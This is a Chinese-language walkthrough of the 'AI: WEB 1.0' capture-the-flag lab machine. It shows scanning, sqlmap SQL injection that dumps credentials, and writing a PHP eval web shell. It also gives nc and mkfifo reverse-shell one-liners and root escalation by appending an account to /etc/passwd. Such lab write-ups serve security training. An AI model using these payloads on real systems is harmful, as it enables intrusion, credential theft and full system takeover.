一、信息收集
1.主机发现
arp-scan -l
2.端口扫描
nmap -sV -p- 192.168.200.16
PORT | STATE | SERVICE | VERSION | MAC Address |
---|---|---|---|---|
80/TCP | Open | http | Apache httpd | 00:0C:29:C4:1B:78 (VMware) |
3.目录扫描
python dirsearch.py -u http://192.168.200.16
扫描出来这两个文件,首先先进入网址查看信息(index.html,这个是网站首页)
二、网站信息
1.网站首页
2.robots.txt
2.1 m3diNf0
2.2 se3reTdir777/uploads/
这个是有两层目录的,uploads禁止访问, 查看上一级的目录文件情况
看到,输入框示意输入数字,出现如下结果说明存在SQL注入
这是一个问题,暂时搁置。
由robots.txt这个文件上面显示里网站那些页面是禁止爬取的,所以二次尝试目录扫描
3.m3diNf0扫描
python dirsearch.py -u http://192.168.200.16/m3diNf0
访问此目录,发现页面显示的是PHP有关信息,并且可以看到当前权限用户是最低级的和网站的根目录
4.se3reTdir777扫描
python dirsearch.py -u http://192.168.200.16/se3reTdir777
三、漏洞利用
SQL注入
使用工具:SQLMAP
3.1爆破数据库
python sqlmap.py -r 1.txt --batch --dbs
3.2 爆破数据表
python sqlmap.py -r 1.txt --batch -D aiweb1 --tables
3.3爆破表的中的字段
users表中的信息
python sqlmap.py -r 1.txt --batch -D aiweb1 -T user --dump
systemUser表中的信息
python sqlmap.py -r 1.txt --batch -D aiweb1 -T systemUser --dump
当前密码被base64加密,尝试解密
UserName: t00r password:FakeUserPassw0rd
UserName: aiweb1pwn password:MyEvilPass_f908sdaf9_sadfasf0sa
UserName: u3er password:N0tThis0neAls0
目前的情况是:虽然成功爆出数据库的信息,但是并没有可以登陆的后台什么的可以利用,通过sql注入写入数据
绝对路径和权限用户信息
在robots.txt文件中发现了一个/se3reTdir777/uploads/的路径info.php信息里面包含着php的信息,站点在服务器的绝对路径!和权限用户
路径:/home/www/html/web1x443290o2sdf92213
用户:www-data
在刚才信息收集中我们在robots.txt文件中发现了一个/se3reTdir777/uploads/的路径,并且也读到过phpinfo信息,从info.php文件中我们知道了根目录的路径,那现在就可以在uploads/路径下上传文件,通过sqlmap进行写入一个木马文件
尝试使用sqlmap的–os-shell命令getshel
os-shell执行条件有三个:
1.网站必须是root权限
2.网站的绝对路径已知
3.GPC为off(php主动转义的功能关闭)
依次选择 php(default),custom location(s)
根据前面找到的info.php文件暴露的信息,绝对路径选择:uploads的目录是可以成功写入的
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
sqlmap -u "http://192.168.200.16/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell
sqlmap写入一句话木马
1.写入一句话木马
<?php @eval($_REQUEST[666]);?> # POST的我传不上去
2.写入文件
sqlmap -u "http://192.168.200.16/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./123.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/123.php
--file-write:去读取文件(当前目录下的123.php)
--file-dest:后面加我们向目标写的文件,
目标在/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/,
把这个文件上传到123.php这个地址,现在我们就在uploads这个命令下写好了123.php文件
反弹shell
攻击端:
kali本地监听:nc -lvvp 6666(或者nc -lnvp 或者-lvp)
靶机端:
蚁剑终端上nc反弹:nc -e /bin/bash 192.168.200.14 6666(-e参数不可用)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.200.14 6666 >/tmp/f
提权
进入交互式shell:
python -c 'import pty;pty.spawn("/bin/bash")'
思路解决方法:
思路1:
sudo -l(查看有没有一些命令在执行期间有root权限标签没有密码保护——Not found)
发现需要密码
思路2:
查看有没有一些具有suid权限的命令
find / -perm -4000 2>/dev/null
查询开放端口
netstat -anpl
开放了3306端口,但只有本地能登录
思路3:
在交互式shell下输入命令uname -a查看内核版本,当前版本号是4.15.0-58-generic,去看一下有没有内核漏洞
www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ uname -a
<eb1x443290o2sdf92213/se3reTdir777/uploads$ uname -a
Linux aiweb1 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
searchsploit linux kernel 4.15.0-58-generic # 没有结果
searchsploit linux kernel 4.15.0 # 可以看到好几个做本地提权的
目标环境没有gcc环境,尽量不要上传.c文件提取
查看当前用户读写权限
查看当前系统里面具有可写权限的目录有哪些:
find / -writable -type d 2>/dev/null
查看哪些文件具有读写权限:
find / -writable -type f 2>/dev/null
(最明显的位置,最重要的文件,具有读写权限,一般基本可以止于此步骤,因为之前已经拿到了webshell了,直接将信息写入到此文件中)
**将find查询结果保存: **
find / -writable -type f 2>/dev/null > /tmp/writableFiles
**在蚁剑的/tmp目录就可以看到writableFiles文件,download下来
wc -l writableFiles 可以看到这个文件有5688行
过滤有用文件,过滤掉以p和s开头的文件
cat writableFiles | grep '^/[^p]' | grep '^/[^s]'
觉得c0nFil3bd.php这个文件可疑
得到数据库密码和用户名
/etc/passwd文件,具有写权限(可以直接写入进去,也可以利用命令行)
添加Zhangc::0:0:root:/root:/bin/bash,这个账号是没有密码的,但是sudo密码验证失败,必须生成一个有密码的账户:
生成Linux 系统用户密钥
┌──(root㉿kali)-[~]
└─# python
Python 3.10.8 (main, Nov 4 2022, 09:21:25) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import crypt
>>> crypt.crypt("123456","zhangcw")
'zhxPr1e7Npazg'
>>>
写入到/etc/passwd中
echo 'zhangcw:zhxPr1e7Npazg:0:0:root:/root:/bin/bash'>>/etc/passwd
读写etc/passwd
zhangcw:zhxPr1e7Npazg:0:0:root:/root:/bin/bash
切换到zhangcw用户,输入密码123456
www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ su zhangcw
<1x443290o2sdf92213/se3reTdir777/uploads$ su zhangcw
Password: 123456
root@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads# cd
root@aiweb1:~# cd /root
cd /root
root@aiweb1:~# ls
flag.txt
root@aiweb1:~# vim flag.txt
vim flag.txt
ot@aiweb1:~# cd /root
cd /root
root@aiweb1:~# ls
ls
flag.txt
root@aiweb1:~# vim flag.txt
vim flag.txt
####################################################
# #
# AI: WEB 1.0 #
# #
# Congratulation!!! #
# #
# Thank you for penetrate my system. #
# #
# Hope you enjoyed this. #
# #
# #
# flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71} #
# #
####################################################